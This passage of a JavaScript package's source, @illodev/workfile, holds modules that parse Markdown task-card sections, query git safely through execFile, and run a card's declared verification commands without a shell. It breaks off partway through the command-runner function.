@illodev/workfile
Advanced tools
| /** | ||
| * A card body read as a document rather than as a string. | ||
| * | ||
| * Split out of `mutations.ts` because the doctor needs the same reading the | ||
| * writers do, and a card diagnosing itself through the module that mutates | ||
| * cards would be a cycle. Everything here is pure: a body in, a shape out. | ||
| */ | ||
| /** | ||
| * The sections of a card body that only protocol commands write. | ||
| * | ||
| * `## Activity` is the durable trail and `## Notes` holds what `card note` | ||
| * appends, including the reason one actor gave for taking another's claim. | ||
| * Both live in the body, and a body write replaced the body — so a single | ||
| * `card write` erased the record of who moved the card and why. "Durable" was | ||
| * true only until any agent called the tool whose whole purpose is replacing a | ||
| * body, and `project_card_write` is agent-facing. | ||
| */ | ||
| export declare const PROTOCOL_SECTIONS: string[]; | ||
| export interface BodySection { | ||
| heading: string | null; | ||
| text: string; | ||
| } | ||
| /** | ||
| * Which lines sit inside a fenced code block, the fence markers included. | ||
| * | ||
| * Takes lines rather than a body because its callers disagree about what a | ||
| * line is — the acceptance reader splits on \`/\\r?\\n/\` and addresses items by | ||
| * offset, and re-splitting underneath it would move every index by one on a | ||
| * file written on Windows. | ||
| */ | ||
| export declare function fencedLines(lines: readonly string[]): boolean[]; | ||
| /** | ||
| * Every line of a body, with the section it belongs to and whether it is | ||
| * inside a fenced block. | ||
| * | ||
| * A scan rather than an `indexOf`, and that is the whole correction. Three | ||
| * functions here located `## Activity` and `## Notes` by index, which finds | ||
| * them in three places they are not: inside a fenced example, inside inline | ||
| * code, and anywhere else prose happens to quote them. The cards this | ||
| * repository writes *about the trail* are precisely the cards that quote it — | ||
| * T-0108's whole four-entry trail sits in its prose, with no section at all, | ||
| * because its second sentence says `## Activity` in backticks. | ||
| * | ||
| * Only `##` at the start of a line opens a section. A deeper heading belongs | ||
| * to the section above it, which is what lets `## Notes` hold structure | ||
| * without splitting in two. | ||
| */ | ||
| export declare function scanBody(body: string): Generator<{ | ||
| line: string; | ||
| heading: string | null; | ||
| section: number; | ||
| fenced: boolean; | ||
| }>; | ||
| /** A body grouped into its top-level sections. */ | ||
| export declare function splitSections(body: string): BodySection[]; | ||
| /** | ||
| * What `activityEntry` produces, as a line of the trail. | ||
| * | ||
| * The actor run excludes both separators, which is the whole difference | ||
| * between this and a note. `appendCardNote` writes `- STAMP ACTOR — text` and | ||
| * the trail writes `- STAMP ACTOR · text`, so the two are told apart by which | ||
| * separator follows the actor — but `.+ · ` is greedy and found a `·` | ||
| * anywhere on the line, including inside a note that quoted a trail entry. | ||
| * | ||
| * That is not a cosmetic misread. `repairMisplacedTrail` moves what this | ||
| * matches into `## Activity`, so a note recording evidence about the trail — | ||
| * the one subject that makes a note quote one — was liable to be moved out of | ||
| * `## Notes` by `doctor --fix`. Fenced quotes were already safe; inline ones | ||
| * were not ([[T-0181]]). | ||
| */ | ||
| export declare const TRAIL_ENTRY: RegExp; | ||
| export declare const trailStamp: (line: string) => string; | ||
| /** | ||
| * Trail entries that were written somewhere other than `## Activity`. | ||
| * | ||
| * The damage the scan above stops happening again, on the cards that already | ||
| * carry it. Quoted trails are not damage — a card whose fenced example shows | ||
| * what a trail looks like is doing its job — so fenced lines are skipped. | ||
| */ | ||
| export declare function misplacedTrailEntries(body: string): string[]; | ||
| export declare function isProtocolSection(heading: string | null): heading is string; | ||
| /** | ||
| * Appends a line at the end of a top-level section, creating it if absent. | ||
| * | ||
| * Shared by the trail and by `card note` because they are the same operation | ||
| * and were the same bug twice. Returns the body alone — the caller re-attaches | ||
| * the frontmatter it already parsed. | ||
| */ | ||
| export declare function appendUnderHeading(body: string, heading: string, line: string): string; | ||
| /** | ||
| * Reattaches a body to the frontmatter it was parsed from. | ||
| * | ||
| * `prefixLength` stops at the closing `---`, so the blank line `renderCard` | ||
| * writes between frontmatter and body belongs to the body — and every writer | ||
| * that trimmed its input therefore ate it. They disagreed about whether it | ||
| * came back, so a card gained or lost that line depending on which command | ||
| * touched it last. One helper, one answer. | ||
| */ | ||
| export declare function withFrontmatter(prefix: string, body: string): string; |
| /** | ||
| * A card body read as a document rather than as a string. | ||
| * | ||
| * Split out of `mutations.ts` because the doctor needs the same reading the | ||
| * writers do, and a card diagnosing itself through the module that mutates | ||
| * cards would be a cycle. Everything here is pure: a body in, a shape out. | ||
| */ | ||
| /** | ||
| * The sections of a card body that only protocol commands write. | ||
| * | ||
| * `## Activity` is the durable trail and `## Notes` holds what `card note` | ||
| * appends, including the reason one actor gave for taking another's claim. | ||
| * Both live in the body, and a body write replaced the body — so a single | ||
| * `card write` erased the record of who moved the card and why. "Durable" was | ||
| * true only until any agent called the tool whose whole purpose is replacing a | ||
| * body, and `project_card_write` is agent-facing. | ||
| */ | ||
| export const PROTOCOL_SECTIONS = ["## Activity", "## Notes"]; | ||
| /** | ||
| * Which lines sit inside a fenced code block, the fence markers included. | ||
| * | ||
| * Takes lines rather than a body because its callers disagree about what a | ||
| * line is — the acceptance reader splits on \`/\\r?\\n/\` and addresses items by | ||
| * offset, and re-splitting underneath it would move every index by one on a | ||
| * file written on Windows. | ||
| */ | ||
| export function fencedLines(lines) { | ||
| let fence = null; | ||
| return lines.map((line) => { | ||
| const delimiter = /^ {0,3}(`{3,}|~{3,})/.exec(line); | ||
| if (!delimiter) | ||
| return Boolean(fence); | ||
| const marker = delimiter[1][0]; | ||
| if (!fence) | ||
| fence = marker; | ||
| else if (fence === marker) | ||
| fence = null; | ||
| return true; | ||
| }); | ||
| } | ||
| /** | ||
| * Every line of a body, with the section it belongs to and whether it is | ||
| * inside a fenced block. | ||
| * | ||
| * A scan rather than an `indexOf`, and that is the whole correction. Three | ||
| * functions here located `## Activity` and `## Notes` by index, which finds | ||
| * them in three places they are not: inside a fenced example, inside inline | ||
| * code, and anywhere else prose happens to quote them. The cards this | ||
| * repository writes *about the trail* are precisely the cards that quote it — | ||
| * T-0108's whole four-entry trail sits in its prose, with no section at all, | ||
| * because its second sentence says `## Activity` in backticks. | ||
| * | ||
| * Only `##` at the start of a line opens a section. A deeper heading belongs | ||
| * to the section above it, which is what lets `## Notes` hold structure | ||
| * without splitting in two. | ||
| */ | ||
| export function* scanBody(body) { | ||
| const lines = body.split("\n"); | ||
| const fenced = fencedLines(lines); | ||
| let heading = null; | ||
| let section = 0; | ||
| for (const [at, line] of lines.entries()) { | ||
| if (!fenced[at] && /^##(?!#)\s+\S/.test(line)) { | ||
| heading = line.trim(); | ||
| section += 1; | ||
| } | ||
| yield { line, heading, section, fenced: fenced[at] }; | ||
| } | ||
| } | ||
| /** A body grouped into its top-level sections. */ | ||
| export function splitSections(body) { | ||
| const sections = [ | ||
| { heading: null, lines: [] } | ||
| ]; | ||
| let current = 0; | ||
| for (const scanned of scanBody(body)) { | ||
| // Compared by index rather than by text, so a body with two `## Notes` | ||
| // stays two sections instead of silently merging into one. | ||
| if (scanned.section !== current) { | ||
| sections.push({ heading: scanned.heading, lines: [] }); | ||
| current = scanned.section; | ||
| } | ||
| sections[sections.length - 1].lines.push(scanned.line); | ||
| } | ||
| return sections.map((section) => ({ | ||
| heading: section.heading, | ||
| // `trimStart`/`trimEnd` rather than `/^\s+/` and `/\s+$/`: those are | ||
| // the polynomial-backtracking shape CodeQL flags, and a card body is | ||
| // caller-supplied text arriving over HTTP and MCP. The built-ins do | ||
| // the same job in one pass. | ||
| text: trimBlankLines(section.lines.join("\n")) | ||
| })); | ||
| } | ||
| /** Leading blank lines and trailing whitespace, without a backtracking regex. */ | ||
| function trimBlankLines(text) { | ||
| let start = 0; | ||
| while (text[start] === "\n" || text[start] === "\r") | ||
| start += 1; | ||
| return text.slice(start).trimEnd(); | ||
| } | ||
| /** | ||
| * What `activityEntry` produces, as a line of the trail. | ||
| * | ||
| * The actor run excludes both separators, which is the whole difference | ||
| * between this and a note. `appendCardNote` writes `- STAMP ACTOR — text` and | ||
| * the trail writes `- STAMP ACTOR · text`, so the two are told apart by which | ||
| * separator follows the actor — but `.+ · ` is greedy and found a `·` | ||
| * anywhere on the line, including inside a note that quoted a trail entry. | ||
| * | ||
| * That is not a cosmetic misread. `repairMisplacedTrail` moves what this | ||
| * matches into `## Activity`, so a note recording evidence about the trail — | ||
| * the one subject that makes a note quote one — was liable to be moved out of | ||
| * `## Notes` by `doctor --fix`. Fenced quotes were already safe; inline ones | ||
| * were not ([[T-0181]]). | ||
| */ | ||
| export const TRAIL_ENTRY = /^- \d{4}-\d{2}-\d{2} \d{2}:\d{2}Z [^·—]+ · /; | ||
| export const trailStamp = (line) => /^- (\d{4}-\d{2}-\d{2} \d{2}:\d{2})Z/.exec(line)?.[1] || ""; | ||
| /** | ||
| * Trail entries that were written somewhere other than `## Activity`. | ||
| * | ||
| * The damage the scan above stops happening again, on the cards that already | ||
| * carry it. Quoted trails are not damage — a card whose fenced example shows | ||
| * what a trail looks like is doing its job — so fenced lines are skipped. | ||
| */ | ||
| export function misplacedTrailEntries(body) { | ||
| const found = []; | ||
| for (const { line, heading, fenced } of scanBody(body || "")) { | ||
| if (fenced || heading === "## Activity") | ||
| continue; | ||
| if (TRAIL_ENTRY.test(line)) | ||
| found.push(line); | ||
| } | ||
| return found; | ||
| } | ||
| export function isProtocolSection(heading) { | ||
| return heading !== null && PROTOCOL_SECTIONS.includes(heading); | ||
| } | ||
| /** | ||
| * Appends a line at the end of a top-level section, creating it if absent. | ||
| * | ||
| * Shared by the trail and by `card note` because they are the same operation | ||
| * and were the same bug twice. Returns the body alone — the caller re-attaches | ||
| * the frontmatter it already parsed. | ||
| */ | ||
| export function appendUnderHeading(body, heading, line) { | ||
| const sections = splitSections(body.trimEnd()); | ||
| const at = sections.findIndex((section) => section.heading === heading); | ||
| if (at === -1) { | ||
| const existing = sections | ||
| .map((section) => section.text) | ||
| .filter(Boolean) | ||
| .join("\n\n"); | ||
| return `${existing ? `${existing}\n\n` : ""}${heading}\n\n${line}`; | ||
| } | ||
| return sections | ||
| .map((section, index) => index === at ? `${section.text}\n${line}` : section.text) | ||
| .filter(Boolean) | ||
| .join("\n\n"); | ||
| } | ||
| /** | ||
| * Reattaches a body to the frontmatter it was parsed from. | ||
| * | ||
| * `prefixLength` stops at the closing `---`, so the blank line `renderCard` | ||
| * writes between frontmatter and body belongs to the body — and every writer | ||
| * that trimmed its input therefore ate it. They disagreed about whether it | ||
| * came back, so a card gained or lost that line depending on which command | ||
| * touched it last. One helper, one answer. | ||
| */ | ||
| export function withFrontmatter(prefix, body) { | ||
| const eol = prefix.includes("\r\n") ? "\r\n" : "\n"; | ||
| if (!body) | ||
| return prefix; | ||
| // Sections are joined with `\n`, so rebuilding a CRLF body left `\r\n` | ||
| // inside each section and a bare `\n` between them — a file with two kinds | ||
| // of line ending, written by a command that claimed to touch one section. | ||
| // The document decides, the same way `patchFrontmatter` already lets it. | ||
| const text = body.replace(/\r\n/g, "\n").split("\n").join(eol); | ||
| return `${prefix}${eol}${text}${eol}`; | ||
| } |
| /** | ||
| * The repository, asked two questions and nothing else. | ||
| * | ||
| * A card that records the commit it was verified at needs to know what HEAD is, | ||
| * and `doctor` needs to know whether that commit is still reachable. Both are | ||
| * git questions, and this is the first subprocess anything under `src/` spawns — | ||
| * so the shape of it is worth stating rather than inferring. | ||
| * | ||
| * **Git is optional.** Nothing else in this package requires a repository, and | ||
| * a protocol that refused to close a card outside one would be refusing the | ||
| * `mkdtemp` fixture every test in this suite runs in. Git missing from `PATH`, a | ||
| * directory that is not a repository, and a repository with no commits all | ||
| * answer the same way: `null` here, no `commit` in the record, and silence from | ||
| * `doctor`. | ||
| * | ||
| * **Never through a shell.** The commit reaching `isAncestorOfHead` comes out of | ||
| * a card file, and a card is a Markdown file that in a repository taking pull | ||
| * requests can arrive from a fork. `execFile` hands the argument vector to the | ||
| * operating system with nothing parsing it in between, and the value is checked | ||
| * against `COMMIT_SHA` before it is used as an argument at all — which also | ||
| * stops a value beginning with `-` being read as an option. | ||
| * | ||
| * This lives beside the card module rather than in `core/` because the card | ||
| * module is the only thing that asks: hoisting it would publish a general git | ||
| * façade on `@illodev/workfile/core` that nothing else needs. | ||
| */ | ||
| /** An abbreviated or full commit sha, and the only thing passed to git. */ | ||
| export declare const COMMIT_SHA: RegExp; | ||
| /** | ||
| * The commit a card closed at, or `null` when there is nothing to record. | ||
| * | ||
| * Deliberately not memoised. A long-lived MCP or HTTP server closes cards | ||
| * minutes apart, and HEAD moves between them; a cached answer would write a | ||
| * commit the card was not verified at, which is a lie of exactly the kind this | ||
| * field exists to prevent. What keeps the cost bounded instead is *where* it is | ||
| * called from — see `commitForClose` in `mutations.ts`. | ||
| */ | ||
| export declare function headCommit(root: string): Promise<string | null>; | ||
| /** | ||
| * Whether this clone is missing history, in which case ancestry cannot be | ||
| * answered. | ||
| * | ||
| * A CI checkout with `fetch-depth: 1` holds one commit, so every commit a card | ||
| * was ever verified at reads as unreachable. Reporting that would turn the rule | ||
| * into a false alarm on the one machine it most needs to be quiet on. | ||
| */ | ||
| export declare function isShallowRepository(root: string): Promise<boolean>; | ||
| /** | ||
| * Whether `commit` is reachable from HEAD. | ||
| * | ||
| * `"unknown"` is a first-class answer and covers everything that is not a | ||
| * verdict: git absent, not a repository, an object this clone does not have. | ||
| * `merge-base --is-ancestor` exits 0 for yes and 1 for no, and anything else — | ||
| * including a missing object — is a refusal to answer rather than a "no". | ||
| */ | ||
| export declare function isAncestorOfHead(root: string, commit: string): Promise<"yes" | "no" | "unknown">; |
| /** | ||
| * The repository, asked two questions and nothing else. | ||
| * | ||
| * A card that records the commit it was verified at needs to know what HEAD is, | ||
| * and `doctor` needs to know whether that commit is still reachable. Both are | ||
| * git questions, and this is the first subprocess anything under `src/` spawns — | ||
| * so the shape of it is worth stating rather than inferring. | ||
| * | ||
| * **Git is optional.** Nothing else in this package requires a repository, and | ||
| * a protocol that refused to close a card outside one would be refusing the | ||
| * `mkdtemp` fixture every test in this suite runs in. Git missing from `PATH`, a | ||
| * directory that is not a repository, and a repository with no commits all | ||
| * answer the same way: `null` here, no `commit` in the record, and silence from | ||
| * `doctor`. | ||
| * | ||
| * **Never through a shell.** The commit reaching `isAncestorOfHead` comes out of | ||
| * a card file, and a card is a Markdown file that in a repository taking pull | ||
| * requests can arrive from a fork. `execFile` hands the argument vector to the | ||
| * operating system with nothing parsing it in between, and the value is checked | ||
| * against `COMMIT_SHA` before it is used as an argument at all — which also | ||
| * stops a value beginning with `-` being read as an option. | ||
| * | ||
| * This lives beside the card module rather than in `core/` because the card | ||
| * module is the only thing that asks: hoisting it would publish a general git | ||
| * façade on `@illodev/workfile/core` that nothing else needs. | ||
| */ | ||
| import { execFile } from "node:child_process"; | ||
| import { promisify } from "node:util"; | ||
| const execFileAsync = promisify(execFile); | ||
| /** An abbreviated or full commit sha, and the only thing passed to git. */ | ||
| export const COMMIT_SHA = /^[0-9a-f]{7,40}$/; | ||
| /** A full commit sha, which is the only thing worth recording on a card. */ | ||
| const FULL_COMMIT_SHA = /^[0-9a-f]{40}$/; | ||
| /** How long a probe may take before the answer stops being worth waiting for. */ | ||
| const TIMEOUT_MS = 5_000; | ||
| /** | ||
| * The environment a probe runs in, with the repository-selecting variables | ||
| * removed. | ||
| * | ||
| * `workfile` runs from Claude Code hooks and can run from git hooks, and a git | ||
| * hook's environment carries `GIT_DIR` and `GIT_INDEX_FILE` pointing at the | ||
| * repository that invoked it. Inheriting those would answer for a repository | ||
| * other than the workspace the caller named — quietly, and with a plausible sha. | ||
| * | ||
| * The three that are set are about not blocking: no lock files taken for a | ||
| * read, no credential prompt on a terminal nobody is watching, and no system | ||
| * configuration deciding what `HEAD` means. | ||
| */ | ||
| function gitEnvironment() { | ||
| const inherited = { ...process.env }; | ||
| delete inherited.GIT_DIR; | ||
| delete inherited.GIT_WORK_TREE; | ||
| delete inherited.GIT_INDEX_FILE; | ||
| delete inherited.GIT_COMMON_DIR; | ||
| return { | ||
| ...inherited, | ||
| GIT_OPTIONAL_LOCKS: "0", | ||
| GIT_TERMINAL_PROMPT: "0", | ||
| GIT_CONFIG_NOSYSTEM: "1" | ||
| }; | ||
| } | ||
| /** | ||
| * One git invocation, whose failure is an answer rather than an exception. | ||
| * | ||
| * Every caller here treats "git said no" and "git was not there" as information, | ||
| * so raising would only mean catching it one line later in three places. | ||
| */ | ||
| async function git(root, args) { | ||
| try { | ||
| const { stdout } = await execFileAsync("git", args, { | ||
| cwd: root, | ||
| timeout: TIMEOUT_MS, | ||
| windowsHide: true, | ||
| maxBuffer: 1 << 20, | ||
| env: gitEnvironment() | ||
| }); | ||
| return { ok: true, stdout: String(stdout).trim(), code: 0 }; | ||
| } | ||
| catch (error) { | ||
| // `code` is the exit status when git ran and a string like `ENOENT` | ||
| // when it did not, so only a number is one. | ||
| return { | ||
| ok: false, | ||
| stdout: "", | ||
| code: typeof error?.code === "number" ? error.code : null | ||
| }; | ||
| } | ||
| } | ||
| /** | ||
| * The commit a card closed at, or `null` when there is nothing to record. | ||
| * | ||
| * Deliberately not memoised. A long-lived MCP or HTTP server closes cards | ||
| * minutes apart, and HEAD moves between them; a cached answer would write a | ||
| * commit the card was not verified at, which is a lie of exactly the kind this | ||
| * field exists to prevent. What keeps the cost bounded instead is *where* it is | ||
| * called from — see `commitForClose` in `mutations.ts`. | ||
| */ | ||
| export async function headCommit(root) { | ||
| if (!root) | ||
| return null; | ||
| const result = await git(root, ["rev-parse", "--verify", "HEAD"]); | ||
| return result.ok && FULL_COMMIT_SHA.test(result.stdout) ? result.stdout : null; | ||
| } | ||
| /** | ||
| * Whether this clone is missing history, in which case ancestry cannot be | ||
| * answered. | ||
| * | ||
| * A CI checkout with `fetch-depth: 1` holds one commit, so every commit a card | ||
| * was ever verified at reads as unreachable. Reporting that would turn the rule | ||
| * into a false alarm on the one machine it most needs to be quiet on. | ||
| */ | ||
| export async function isShallowRepository(root) { | ||
| const result = await git(root, ["rev-parse", "--is-shallow-repository"]); | ||
| return result.ok && result.stdout === "true"; | ||
| } | ||
| /** | ||
| * Whether `commit` is reachable from HEAD. | ||
| * | ||
| * `"unknown"` is a first-class answer and covers everything that is not a | ||
| * verdict: git absent, not a repository, an object this clone does not have. | ||
| * `merge-base --is-ancestor` exits 0 for yes and 1 for no, and anything else — | ||
| * including a missing object — is a refusal to answer rather than a "no". | ||
| */ | ||
| export async function isAncestorOfHead(root, commit) { | ||
| if (!root || !COMMIT_SHA.test(String(commit))) | ||
| return "unknown"; | ||
| const result = await git(root, [ | ||
| "merge-base", | ||
| "--is-ancestor", | ||
| String(commit), | ||
| "HEAD" | ||
| ]); | ||
| if (result.ok) | ||
| return "yes"; | ||
| return result.code === 1 ? "no" : "unknown"; | ||
| } |
| /** | ||
| * Running the commands a card declares, and writing down what they decided. | ||
| * | ||
| * T-0185 built the binding — a criterion can name the command that proves it, | ||
| * and `card ac --check` refuses that criterion once it does — which left a | ||
| * bound criterion as a criterion nothing could check. This is the only thing | ||
| * that can: `setCardAcceptance` takes a `runner`, permits exactly the criteria | ||
| * bound to that entry and refuses everything else, and this module is its one | ||
| * caller. A second caller would be the hole one rung further in, reached by | ||
| * declaring a `verify` entry instead of by typing `--check`. | ||
| * | ||
| * Three decisions the card asked for, settled here rather than left implicit. | ||
| * | ||
| * **The command is an argument vector and it is spawned with no shell.** That | ||
| * is T-0188's decision and `argvElements` is where it is argued; this file is | ||
| * what makes it true. `spawn(file, args)` hands the vector to the operating | ||
| * system with nothing parsing it in between, so the array the allowlist matched | ||
| * is the array the process receives. | ||
| * | ||
| * **Only a command that decided something writes a criterion.** Exit 0 checks | ||
| * the criteria bound to the entry; a non-zero exit unchecks them, because a | ||
| * proof that no longer reproduces is not a proof and leaving the box would let | ||
| * `done` pass on it. A run that reached no decision — killed at the timeout, or | ||
| * never started because the machine has no such command — writes nothing at | ||
| * all. "We stopped waiting" and "pnpm is not installed here" are facts about | ||
| * the run, not about the criterion, and the second one is not hypothetical: a | ||
| * `.cmd` shim cannot be started without a shell, so on Windows the most | ||
| * ordinary declared command in existence reaches exactly that branch. A rule | ||
| * that unchecked there would let running `card verify` on the wrong machine | ||
| * erase a proof a right one produced, and the criterion is machine-owned, so | ||
| * `card ac --check` cannot put it back. | ||
| * | ||
| * **Every state change carries an actor.** The write goes through | ||
| * `setCardAcceptance` with the entry id and a phrase, and the card's trail gets | ||
| * a line naming the entry, the command and what moved. An untraced state change | ||
| * is the failure mode T-0184 exists to prevent, and a box that changed because | ||
| * a subprocess exited is the least visible one there is. | ||
| * | ||
| * There is no `--dry-run`, and that is a decision too: the flag is documented | ||
| * as previewing filesystem changes, and a run that spawns every declared | ||
| * command and then skips the write-back has already done the part worth | ||
| * previewing. `card show ID --json` reports the `verify` block, which is what | ||
| * looking first actually means here. | ||
| */ | ||
| import type { AcceptanceReading } from "./acceptance.js"; | ||
| /** What a command decided, or that it decided nothing. */ | ||
| export type VerifyOutcome = "passed" | "failed" | "timed-out" | "errored"; | ||
| export interface VerifyEntryResult { | ||
| id: string; | ||
| run: string[]; | ||
| outcome: VerifyOutcome; | ||
| /** The exit status, or `null` when the command produced none. */ | ||
| code: number | null; | ||
| /** The signal that ended it, which for `timed-out` is the one we sent. */ | ||
| signal: string | null; | ||
| durationMs: number; | ||
| /** Why there is no exit status — an OS error, or the timeout. */ | ||
| reason: string | null; | ||
| stdout: string; | ||
| stderr: string; | ||
| /** Whether either stream was longer than what is reported above. */ | ||
| truncated: boolean; | ||
| /** The criteria this entry proves, by index, as the card read them. */ | ||
| criteria: number[]; | ||
| checked: number[]; | ||
| unchecked: number[]; | ||
| /** | ||
| * Why the write did not happen, when there was one to make. | ||
| * | ||
| * A run that took ten minutes must not lose its result to an unreported | ||
| * exception, and the write can legitimately be refused: a criterion edited | ||
| * while the commands were running is no longer bound to this entry, so | ||
| * `setCardAcceptance` answers `CARD_ACCEPTANCE_NOT_BOUND` rather than | ||
| * writing the wrong line. Recorded on the entry and reflected in `ok`. | ||
| */ | ||
| writeError: { | ||
| code: string; | ||
| message: string; | ||
| } | null; | ||
| } | ||
| export interface VerifyRunReport { | ||
| id: string; | ||
| /** Whether every entry that ran passed and every write it wanted landed. */ | ||
| ok: boolean; | ||
| entries: VerifyEntryResult[]; | ||
| /** The criteria as they stand after the writes. */ | ||
| acceptance: AcceptanceReading; | ||
| timeoutSeconds: number; | ||
| } | ||
| interface CommandResult { | ||
| outcome: VerifyOutcome; | ||
| code: number | null; | ||
| signal: string | null; | ||
| reason: string | null; | ||
| stdout: string; | ||
| stderr: string; | ||
| truncated: boolean; | ||
| durationMs: number; | ||
| } | ||
| /** | ||
| * One declared command, run to whatever end it reaches. | ||
| * | ||
| * `shell: false` is the whole design and is not an option this takes. `stdin` | ||
| * is closed rather than inherited, for the reason `git.ts` sets | ||
| * `GIT_TERMINAL_PROMPT=0`: a command that stops to ask a question would | ||
| * otherwise wait for a terminal nobody is watching until the timeout, and | ||
| * report as hung something that merely wanted an answer. | ||
| * | ||
| * Failure to spawn is an outcome rather than an exception, because it is | ||
| * information the report has to carry — the caller needs to see which entry | ||
| * could not start and why, not lose the other entries' results to a throw. | ||
| */ | ||
| export declare function runVerifyCommand(argv: readonly string[], { cwd, timeoutSeconds }: { | ||
| cwd: string; | ||
| timeoutSeconds: number; | ||
| }): Promise<CommandResult>; | ||
| /** | ||
| * Runs a card's declared commands and writes down what they proved. | ||
| * | ||
| * The commands run outside the card lock, deliberately. They take minutes, and | ||
| * a lock held across them would block every other write to the card — a note, | ||
| * a claim, a status move — for as long as a test suite runs. The lock is taken | ||
| * once per entry afterwards, for the write alone. | ||
| * | ||
| * That interval is real, so the criteria are addressed by *digest* rather than | ||
| * by the indices read before the commands started: the card is read again after | ||
| * the last command exits, and the owner map is built from that reading. A | ||
| * criterion reworded in between is then no longer bound to the entry and the | ||
| * write is refused by name rather than applied to whatever line moved into that | ||
| * position. | ||
| */ | ||
| export declare function runCardVerification(workspace: any, id: string, { only, actor, now }?: { | ||
| only?: string[] | null; | ||
| actor?: string | null; | ||
| now?: string | number | Date; | ||
| }): Promise<VerifyRunReport>; | ||
| export {}; |
| /** | ||
| * Running the commands a card declares, and writing down what they decided. | ||
| * | ||
| * T-0185 built the binding — a criterion can name the command that proves it, | ||
| * and `card ac --check` refuses that criterion once it does — which left a | ||
| * bound criterion as a criterion nothing could check. This is the only thing | ||
| * that can: `setCardAcceptance` takes a `runner`, permits exactly the criteria | ||
| * bound to that entry and refuses everything else, and this module is its one | ||
| * caller. A second caller would be the hole one rung further in, reached by | ||
| * declaring a `verify` entry instead of by typing `--check`. | ||
| * | ||
| * Three decisions the card asked for, settled here rather than left implicit. | ||
| * | ||
| * **The command is an argument vector and it is spawned with no shell.** That | ||
| * is T-0188's decision and `argvElements` is where it is argued; this file is | ||
| * what makes it true. `spawn(file, args)` hands the vector to the operating | ||
| * system with nothing parsing it in between, so the array the allowlist matched | ||
| * is the array the process receives. | ||
| * | ||
| * **Only a command that decided something writes a criterion.** Exit 0 checks | ||
| * the criteria bound to the entry; a non-zero exit unchecks them, because a | ||
| * proof that no longer reproduces is not a proof and leaving the box would let | ||
| * `done` pass on it. A run that reached no decision — killed at the timeout, or | ||
| * never started because the machine has no such command — writes nothing at | ||
| * all. "We stopped waiting" and "pnpm is not installed here" are facts about | ||
| * the run, not about the criterion, and the second one is not hypothetical: a | ||
| * `.cmd` shim cannot be started without a shell, so on Windows the most | ||
| * ordinary declared command in existence reaches exactly that branch. A rule | ||
| * that unchecked there would let running `card verify` on the wrong machine | ||
| * erase a proof a right one produced, and the criterion is machine-owned, so | ||
| * `card ac --check` cannot put it back. | ||
| * | ||
| * **Every state change carries an actor.** The write goes through | ||
| * `setCardAcceptance` with the entry id and a phrase, and the card's trail gets | ||
| * a line naming the entry, the command and what moved. An untraced state change | ||
| * is the failure mode T-0184 exists to prevent, and a box that changed because | ||
| * a subprocess exited is the least visible one there is. | ||
| * | ||
| * There is no `--dry-run`, and that is a decision too: the flag is documented | ||
| * as previewing filesystem changes, and a run that spawns every declared | ||
| * command and then skips the write-back has already done the part worth | ||
| * previewing. `card show ID --json` reports the `verify` block, which is what | ||
| * looking first actually means here. | ||
| */ | ||
| import { spawn } from "node:child_process"; | ||
| import { NotFoundError, ValidationError } from "../../core/errors.js"; | ||
| import { ensureWritable } from "../../core/guards.js"; | ||
| import { criterionOwners, parseAcceptance, verifyEntries } from "./acceptance.js"; | ||
| import { loadCards } from "./cards.js"; | ||
| import { setCardAcceptance } from "./mutations.js"; | ||
| import { allowedCommands, argvElements, commandAllowed, commandNotAllowedMessage, formatCommand, verifyTimeoutSeconds } from "./validation.js"; | ||
| /** | ||
| * How much of each stream is kept, per entry. | ||
| * | ||
| * The tail rather than the head, because a test runner prints its failures | ||
| * last and its banner first. Bounded at all because the report goes into | ||
| * `--json` and into a server response, and an unbounded field there is a test | ||
| * suite's whole log held in memory once per entry. | ||
| */ | ||
| const OUTPUT_LIMIT_BYTES = 64 * 1024; | ||
| /** | ||
| * How long a command gets to exit after being asked to, before it is killed. | ||
| * | ||
| * A test runner that traps its termination signal to write a coverage report | ||
| * deserves the chance; one that ignores it is why the second signal exists. | ||
| * Only the child is reaped — the processes it started are not, because Node | ||
| * offers no portable way to kill a process group, and saying otherwise in a | ||
| * comment would be the more expensive kind of wrong. | ||
| */ | ||
| const KILL_GRACE_MS = 5_000; | ||
| /** | ||
| * The last `OUTPUT_LIMIT_BYTES` of a stream, discarding the rest as it arrives. | ||
| * | ||
| * Bounded while the command runs rather than trimmed at the end, because the | ||
| * command whose output most needs bounding is the one printing megabytes a | ||
| * second, and holding all of it to report the last 64 KiB is how a verify run | ||
| * takes a machine down. Compacted at twice the limit instead of on every chunk: | ||
| * a test runner emits thousands of small writes, and concatenating on each one | ||
| * would be quadratic in their number. | ||
| */ | ||
| function tailSink() { | ||
| let chunks = []; | ||
| let held = 0; | ||
| let dropped = false; | ||
| return { | ||
| push(chunk) { | ||
| chunks.push(chunk); | ||
| held += chunk.length; | ||
| if (held <= OUTPUT_LIMIT_BYTES * 2) | ||
| return; | ||
| const whole = Buffer.concat(chunks); | ||
| chunks = [whole.subarray(whole.length - OUTPUT_LIMIT_BYTES)]; | ||
| held = chunks[0].length; | ||
| dropped = true; | ||
| }, | ||
| read() { | ||
| const whole = Buffer.concat(chunks); | ||
| const kept = whole.length > OUTPUT_LIMIT_BYTES | ||
| ? whole.subarray(whole.length - OUTPUT_LIMIT_BYTES) | ||
| : whole; | ||
| return { | ||
| text: kept.toString("utf8"), | ||
| truncated: dropped || kept.length < whole.length | ||
| }; | ||
| } | ||
| }; | ||
| } | ||
| /** | ||
| * One declared command, run to whatever end it reaches. | ||
| * | ||
| * `shell: false` is the whole design and is not an option this takes. `stdin` | ||
| * is closed rather than inherited, for the reason `git.ts` sets | ||
| * `GIT_TERMINAL_PROMPT=0`: a command that stops to ask a question would | ||
| * otherwise wait for a terminal nobody is watching until the timeout, and | ||
| * report as hung something that merely wanted an answer. | ||
| * | ||
| * Failure to spawn is an outcome rather than an exception, because it is | ||
| * information the report has to carry — the caller needs to see which entry | ||
| * could not start and why, not lose the other entries' results to a throw. | ||
| */ | ||
| export async function runVerifyCommand(argv, { cwd, timeoutSeconds }) { | ||
| const started = Date.now(); | ||
| return await new Promise((settle) => { | ||
| const stdout = tailSink(); | ||
| const stderr = tailSink(); | ||
| let timedOut = false; | ||
| let finished = false; | ||
| let hardKill = null; | ||
| const child = spawn(argv[0], argv.slice(1), { | ||
| cwd, | ||
| shell: false, | ||
| windowsHide: true, | ||
| stdio: ["ignore", "pipe", "pipe"] | ||
| }); | ||
| const timer = setTimeout(() => { | ||
| timedOut = true; | ||
| child.kill("SIGTERM"); | ||
| hardKill = setTimeout(() => child.kill("SIGKILL"), KILL_GRACE_MS); | ||
| hardKill.unref?.(); | ||
